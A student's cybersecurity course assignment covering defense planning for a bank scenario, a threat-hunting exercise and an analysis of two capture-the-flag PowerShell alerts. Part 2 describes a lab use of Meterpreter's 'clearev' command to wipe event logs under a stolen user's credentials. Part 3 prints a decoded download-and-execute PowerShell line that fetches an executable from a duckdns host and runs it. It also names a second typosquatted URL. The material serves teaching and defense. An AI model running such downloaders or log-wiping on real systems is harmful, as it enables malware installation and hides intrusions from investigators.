**Final Assignment**

By

Buwaneka Hettiarachchi

Seneca College

SID 104376165

SPR 500

“I declare that the attached assessment is wholly my own work in accordance with Seneca Academic Policy. No part of this assignment has been copied manually or electronically from any other source (including web sites) or distributed to other students.

Buwaneka Hettiarachchi SID 1043761615”

Table of Contents

[Part 1: Cyber Defense 2](#_Toc90143201)

[Introduction 2](#_Toc90143202)

[Attack Vectors 2](#_Toc90143203)

[Secure Network Diagram 3](#_Toc90143204)

[Cyber Kill chain 4](#_Toc90143205)

[Defense Challenge 5](#_Toc90143206)

[Defense Scenario for Networks, devices, and data 5](#_Toc90143207)

[Modern Defense Techniques 5](#_Toc90143208)

[Conclusion 5](#_Toc90143209)

[Part 2: Threat Hunting 6](#_Toc90143210)

[Introduction 6](#_Toc90143211)

[Hypothesis 6](#_Toc90143212)

[Trigger 6](#_Toc90143213)

[Investigation 8](#_Toc90143214)

[Resolution 9](#_Toc90143215)

[Conclusion 10](#_Toc90143216)

[Part 3: CTFs 10](#_Toc90143217)

[Introduction 10](#_Toc90143218)

[CTF1 10](#_Toc90143219)

[CTF2 12](#_Toc90143220)

[Conclusion 12](#_Toc90143221)

[Reference 13](#_Toc90143222)

[Figure 1: Building a Secure Network Diagram for the Bank Of Canada Company Environment 4](#_Toc90143093)

[Figure 2: Cyber Kill Chain Explaining how Ransomware attack would happen in a company 5](#_Toc90143094)

[Figure 3: Opening a Meterpreter session by exploiting the payload for MS server 2016 7](#_Toc90143095)

[Figure 4: The IP information of the Target machine, The MS server 2016 8](#_Toc90143096)

[Figure 5: Attackers can clear log information through the use clearev command 8](#_Toc90143097)

[Figure 6: As shown, the Event viewer says that the user bob has cleared the log, but in fact it was the attacker using his credentials 8](#_Toc90143098)

[Figure 7: Shodan viewing Vulnerable Printers 10](#_Toc90143099)

[Figure 8: Shodan viewing vulnerable routers around the world 10](#_Toc90143100)

[Figure 9: Using the base64 method to decode the encrypted message 12](#_Toc90143101)

# Part 1: Cyber Defense

## Introduction

In this section, our responsibility is performing a cyber defense in our selected company, for this scenario I used the Bank of Canada as my company scenario. The Objectives in this section is to identify the possible attack vectors to the company and describe specific attacks that might affect the company network. After that I need to create a possible network diagram of the company network with an additional inclusion of a Cyber Kill Chain model to one of the attacks and explained how to eradicate. After that, I need to describe the defense challenges and defense scenarios and suggest modern defense models that will be relevant for the IT network.

## Attack Vectors

An attack vector is a method on how an attacker will be able to gain access into a network in the organization, the following are some examples of Attack vectors that might affect the company.

* Ransomware: The attacker will gain the access to the company system through the use of a malware that was successfully executed. The attacker will then threaten the organization with releasing all their confidential information to the public if the organization does not comply with providing them a certain ransom they expect.
* Phishing: The attacker will trick an employee of the company by sending them an email that acts as the email is coming from the company asking the employee to verify himself by providing their personal information. After that the attacker will be able to steal the employee’s information to disguise itself.
* Poor Encryption: Attackers will be able to identify poor endpoints with outdated encryption in an organization and immediately they will be able to compromise them.
* Weak credentials: This type requires somewhat of brute force attack, but the attacker will be able to steal credentials of a target if they do not have proper strong credentials put in place.

Type of attack that will affect the company

One of the biggest type of attack that can affect the company is the Distributed Denial of Service Attack. The main goal of a DDoS attack is to slow down a network or a system by sending in large traffic of packets through to the system and by sending them, it will cause disruptions to the servers and other services in the company and will ultimately become unavailable for users to work with because it will have the power to stop these type of machines. With DDoS the attacker will then be able to get into the system and perform instances that will provide them with benefits and will be able to gather as many information as possible. Another Type of attack that can have serious impact is Web application attack, where attacks like SQL injection attacks can be used to gain privileges to the company.

## Secure Network Diagram

Diagram

Description automatically generated

Internal Machines For Employees

Internal Switch

Server Environment internal

DMZ Zone

Figure 1: Building a Secure Network Diagram for the Bank Of Canada Company Environment

The above Network Diagram is a representation of the of a Security Model of what the company Network would have looked in the Bank of Canada. I created this network diagram using a tool known as smart draw from the Internet. And as you can see, the network diagram has 4 different network zones with each zone having different sets of privileges. In the DMZ zone, I added in the normal Public servers that can be viewed by the public through the use of the internet, these servers are the Web Server and the Mail Server of the company. I did add in two Routers with Firewall services running in them and the DMZ zone is in between the two routers while one of the routers that is connected to the Internet acts as the External Firewall network for the Public while the other works as the Internal Service which is used by the employees working in the Bank of Canada. I did allocate an area for the servers to reside in, all the servers are connected to a switch that is connected the to the Internal router. The Internal Servers are, the DNS server, File Server, Directory Server, and the Database Server. All the Admin Machines and the User Machines are connected to a switch that acts as the company’s internal Switch and they are separated with two different networks because Users have different privileges than the Administrators.

## Cyber Kill chain

|  |  |
| --- | --- |
| Step | Method Used by the Attacker |
| Reconnaissance | The attacker will research on the target company and try to get as much information as possible, mostly the target will use public sources such as social media and other methods. This can also relate to an employee working in the company |
| Weaponization | Once the target is set, the Attacker will work on developing an exploit that will give them a remote access into the Target company system. |
| Delivery | The Attacker will deliver the exploit or the malware into the company system by the use of an email attachment that is directed to an employee of the company. |
| Exploit | Once the targeted employee opens the email with the attached malware, the target can exploit into the company system through a backdoor to gain remote access to the company. |
| Installation | The Attacker can now install the malware into the company system and will give him access such as different levels of privilege. |
| Command and Control | The attacker has the full gain and control over the company information that is deemed to be confidential. The attacker would perform a denial of service on all the systems. |
| Action | The attacker would then ask for a specific amount of ransom from the company and if the company doesn’t comply with their request, they can release all the information to the public and ruin the reputation of the company |

Figure 2: Cyber Kill Chain Explaining how Ransomware attack would happen in a company

This type of attack is dangerous because the Bank of Canada is the Bank that is related to the Government of Canada. If an attacker is able to get information of any records, these could be information of regular citizens and employee records of the company. If the Company couldn’t properly deal with a resolution from the attacker, it will be dangerous because then the company would have to go through numerous Law suites that would make the company guilty because of it’s mishandle of personal information of employees and other confidential information.

## Defense Challenge

One of the biggest challenges that the company would face is the rising Social Engineering tactic known as phishing. Phishing is an attack where an Attacker would be able to get information such credentials of an employee through the use of asking them to fill in information of specific such as their user credentials so that the attacker can easily capture those information and disguise themselves as the employee. This is a Cyber Defense Challenge because many Phishing attacks come in the form of Email attachments with some sort of pretexting that would make the email seems like it is coming from an IT department or any other Administrative Department. Phishing attacks can happen anywhere and every individual in the company needs to have awareness on situation like that.

## Defense Scenario for Networks, devices, and data

In terms of defense, Networks should be properly managed every day 24/7, while each separate network must have some sort of privilege that might require to use in user credentials to enter into them. Devices must be updated into the newest and safest Operating Systems and any machine having outdated software must be updated immediately because many ransomware attacks happen when there are exploits present in some of the outdated Operating Systems and if the devices that still use those operating systems haven’t updated, the company is danger of getting infected from various malware. Data needs to be properly stored in the applicable servers and needs to be properly secured from any outside source, also, data needs to be backed up because we will never know when an attacker steals information and most of your data would have been eradicated, so backups are necessary requirement.

## Modern Defense Techniques

One of the biggest modern defense techniques that the company should integrate is to add in the use of Artificial Intelligence and Automation into the company to enhance the security of the Network. AI can indicate anomalies and other behaviours that might seem pretty unusual in a company environment and immediately alert the company employees of its existence. Rather than manually backing up data into secondary sources, AI can implement that everyday with ease. Many Companies are starting to implement AI into their systems but companies that are working in the government haven’t really adapted into that environment yet.

## Conclusion

In conclusion, when you are building a network to a large-scale company, you should always be aware of the certain threats that would affect the companies’ network. This is why companies should have an understanding on attack vectors and how can these attack vectors affect the company. Also, when preparing a network diagram, always make it a secure diagram that would have an amazing defense system with integrated new technology that would enhance the system of the companies’ cyber defense

# Part 2: Threat Hunting

## Introduction

The main process of this is to investigate and describe a possible Threat Hunting Process for the company P&C, which is a company that has offices in around the world, but their head office is located in Toronto. The threat hunting requires us to look into a hypothesis and then develop the Hypothesis by collecting Intelligence information from the company, then if the Hypothesis shows a sign of trigger, we will Investigate on the on the Technology used by some of the systems in the company and then Respond to those triggers.

## Hypothesis

P&C company use system Logs to view on the way the how individuals use the company system, for example, System logs are built in to detect the organization’s individual traffic such as Employee Log in and Log off times, Actions Performed, The devices they have accessed, and the GPS location such as their coordinates. One of the biggest threats that might face the P&C company Environment is the If there are methods for attackers to bypass the company System logs and clear their traces, this can lead to the attacker being undetected in the company environment, which could lead into many other events such as Social Engineering attacks that can Lead into the attacker getting access to Employee information.

## Trigger

One of the biggest triggers that might lead into the investigation is to see if there are any vulnerabilities that are present in the servers of the company. Because if there are vulnerabilities, then there is a chance of attackers using methodologies such as meterpreter or Metasploit framework console, which allows them to gain access into the server environments and possibly go undetected. The only downside of using tools such as meterpreter is that the attacker needs to find specific vulnerabilities that are present through the server Environment, and they can only perform interceptions of their target machine when they are opened on the other side. For example, I have performed a smaller practical on an attacker intercepting a user who uses the Windows server 2016 and then perform a tactic that clears the logs of the computer

A screenshot of a computer

Description automatically generated with medium confidence

Figure 3: Opening a Meterpreter session by exploiting the payload for MS server 2016

Text

Description automatically generated

Figure 4: The IP information of the Target machine, The MS server 2016

A screenshot of a computer

Description automatically generated with medium confidence

Figure 5: Attackers can clear log information through the use clearev command

A screenshot of a computer

Description automatically generated

Figure 6: As shown, the Event viewer says that the user bob has cleared the log, but in fact it was the attacker using his credentials

Since this is a practical scenario, I already know the target machine information. We are using the credentials of user called bob and we will use Bob’s credentials to remove all system and security logs present in the environment. And the screenshot below shows the method that was performed to clear the results, we used the command clearev, which cleared all the system and security logs of the target machine. And in the Server environment it will show that the Event was cleared using the credentials that were gathered from the user bob’s computer. This is one practical way that an attacker can perform such levels of attacks but in real life scenarios companies use more sophisticated methods in monitoring Logs. Some other ways to perform system Log bypass, the attackers use other methodologies like phishing attacks on employees who are working at P&C company, and with examples of phishing attacks they can gather user credentials so that they could use those credentials to disguise themselves as the user to bypass the system logs, in terms of the location, the attacker can use VPN to mask their IP address and could use an IP address in a location around the target. Another Method an Attacker could use is to perform a Denial-Of-Service Attack on the System Log, and then use that opportunity to gain access into the systems without getting noticed.

## Investigation

One of the first ways to investigate into the Servers and gain forensic evidence of the traffic that has been going through the network and look into information and if they seem a bit too unusual, in this it can be traffic coming from another country, or logins that seem a bit too off and other unusual activities within the logs, then we can see there has been an instance of some outside activity. Another way to investigate is the network of Routers, Servers, and Printers, this is because most of them act as an endpoint for outside traffic, routers have firewall rules that have taken place, which prompts rules for incoming and outgoing traffic. But for Printers, we can see that there seems to be that there is no specifying security feature that can make it secure from outside sources. Printers are some of the biggest endpoints that an Attacker use into gaining information of company records because they store print documents and they do not have any necessary security features. Attackers can use a search engine known as Shodan and can look into information of vulnerable machines that act as an endpoint, for Example, I did a quick search for printers in Shodan, and was able to get information on most of the vulnerable machines throughout the world.

Graphical user interface, text, application, email

Description automatically generated

Figure 7: Shodan viewing Vulnerable Printers

The above screenshot is just an example to show how attackers can use simple search engines to gain information on machines. And in this case an attacker can also look into router information if he can get the IP address information of those machines.

Graphical user interface, text, application, email

Description automatically generated

Figure 8: Shodan viewing vulnerable routers around the world

## Resolution

One of the biggest resolutions in terms of system logs is that it needs to take into action to provide necessary backups on all the logs because in a situation where an attacker compromises a network and clears the System logs of the P&C company, then there has been a breach within the organization and the attacker would have succeeded in their task. Phishing emails and other sorts of possible social engineering tactics needs to be monitored through the use of email logs and dispose such emails, at same time employees throughout the organization must have training on Social Engineering awareness, so that they would refrain from giving their personal information to any pretexting emails. On the other hand, companies should perform Social Engineering tests to see if the organization follows every awareness on them. System Administrators must have an understanding if their systems have any possible Vulnerabilities present and immediately take necessary precautions to patch those vulnerabilities, because in the case of my experiments done, I used a machine that already has a vulnerability present in its system, so the attacker use that vulnerability as the exploit to get into the system ang clear the event logs. Printers and other devices need to be turned off when they are not in use, because if not, then they are open and prone to attacks.

## Conclusion

In conclusion, we can see that a threat hunting is necessary for understanding on how companies would depend on various threat that might have an effect on them. By performing a Hypothesis, we can gain an understanding on whether they have any threats present in their system. If they do have threats, this means that it has triggered which leads them to Investigating the evidence of the attacks and finally show the necessary steps and precautions to resolve these issues.

# Part 3: CTFs

## Introduction

In this section, My Company’s, which is the Bank Of Canada, Cybersecurity Intrusion Department got two different CTF (Capture-The-Flag) alerts. Both these alerts came from the same file path which is directed to powershell.exe pathway. Our main goal in this section is to Provide a detailed Analysis of both the Alerts and come up with remediation techniques that might be suitable for both the Alerts.

## CTF1

When Analyzing the First CTF alert, we can conclude that this is a PowerShell script that is used to bypass the Execution policy as shown in the beginning of the script with a No Profile method, which executes the script without the use of a profile. But that’s the only noticeable features in the script because most of the script seems to be encoded. By looking at the code, we can come to realization that it is encoded using the Base64 method, So after Encoding I was able to get the following result.

Graphical user interface, text, chat or text message

Description automatically generated

Figure 9: Using the base64 method to decode the encrypted message

By looking at the result, the encoded section is (WgeT http://convenant.duckdns.org/448.exe -outFiLE $eNv:TEmp\EdgeBrowsr64.exe; sTarT-pROcesS $Env:tEMP\EdgeBrowsr64.exe). From looking at the encoded section we can see that it is a Wget command, a command that is used to retrieve information from webservers. In this Alert, it seems like the script is trying to get an exe application from the URL http://convenant.duckdns.org, by looking into the information of the URL, I was able to find out that this site contains malicious activity because what the PowerShell script is trying to do, is to grab the content from the URL and it will find a Temporary folder. In this scenario, the temporary folder is the EdgeBrowsr64.exe and after sending that output files of the URL to the temporary folder, then it has started the process using the temporary folder by creating a new process which in the local machine.

MSHTA is a native binary that is used to execute Microsoft HTML application files and it can also execute Windows Script Host code in an HTML proxy, this makes the MSHTA, a reliable technique during an infection because it can be used for executing dangerous codes through a trusted, signed, utilities.

In terms of Escalating the Alert, It is necessary that we alert it to the necessary team leaders in the Cybersecurity Intrusion Department immediately. After they have look through the information, we can all come to a decision to execute the necessary remediation techniques towards the specific alert. Some remediation on this alert is to try to update group policies and check if they are up to date and see if the Certificate systems are not expired and use scripts to detect expired certificates so that these alerts can be taken care of.

## CTF2

In this second Alert, it has a similar alert to the one before, where they basically use the PowerShell to bypass the execution policies and then use the Wget command to extract a file from the URL http://micrasoft.com/EdgeBrowser64.exe, and they use that extracted information that can be arbitrarily to the system and then they would put it into an output file in the temporary EdgeBrowser64.exe and then after that, they will start the process using that Temporary folder. Again, necessary remediation techniques are to always keep the system group policies up to date and then check on the Certificate Authority to see if they are not expired.

## Conclusion

In conclusions, both these CTF alerts can pose some threats to the company because in technical format, both the PowerShell scripts are getting information from dangerous webservers and use those information to begin processes and then store them in the local machines. It is important that companies like The Bank of Canada, notifying and use remediation techniques as quickly as possible because if not there might have necessary repercussions such as attacks like the DOS attacks taking place in their systems.

# Reference

“What Is the Cyber Kill Chain?” Deepwatch, 26 July 2021, www.deepwatch.com/blog/cyber-kill-chain/.

“DMZ Network: What Is a DMZ &amp; How Does It Work?” Okta, www.okta.com/identity-101/dmz/.

“What Is an Attack Vector? 8 Common Examples.” SecurityScorecard, securityscorecard.com/blog/what-is-an-attack-vector-common-examples.

“Indicators of Compromise.” Definition, www.trendmicro.com/vinfo/us/security/definition/indicators-of-compromise.

Aug 13, 2018. “There Is No Such Thing as Printer Security and Privacy.” Security Today, securitytoday.com/articles/2018/08/10/there-is-no-such-thing-as-printer-security-and-privacy.aspx#:~:text=When%20you%20print%2C%20scan%2C%20or,both%20you%20and%20your%20documents.

“What Is Cyber Threat Hunting? [Proactive Guide]: Crowdstrike.” Crowdstrike.com, 30 Nov. 2021, www.crowdstrike.com/cybersecurity-101/threat-hunting/.

7, September, et al. “Ethical Hacking: Log Tampering 101.” Infosec Resources, 10 July 2021, resources.infosecinstitute.com/topic/ethical-hacking-log-tampering-101/.

Mestew. “PowerShell Scripts for Proactive Remediations - Microsoft Endpoint Manager.” Microsoft Endpoint Manager | Microsoft Docs, docs.microsoft.com/en-us/mem/analytics/powershell-scripts.

“MSHTA - Threat Detection Report.” Red Canary, 21 Apr. 2021, redcanary.com/threat-detection-report/techniques/mshta/.

Sdwheeler.“Start-Process(Microsoft.powershell.management)-Powershell.” (Microsoft.PowerShell.Management) - PowerShell | Microsoft Docs, docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process?view=powershell-7.2.

Dr Scripto Scripter, et al. “PowerTip: Use PowerShell to Find the Temp Folder Path.” Scripting Blog, 14 Apr. 2013, devblogs.microsoft.com/scripting/powertip-use-powershell-to-find-the-temp-folder-path/.

“Vulnerability Spotlight: Denial-of-Service, Information Leak Bugs in Mini-SNMPD.” Cisco Talos Intelligence Group - Comprehensive Threat Intelligence, talos181.rssing.com/chan-58296078/all\_p39.html.

Shelladmin. “PowerShell Execute Script with Noprofile Parameter.” ShellGeek, 3 Sept. 2021, shellgeek.com/powershell-execute-script-with-noprofile-parameter/.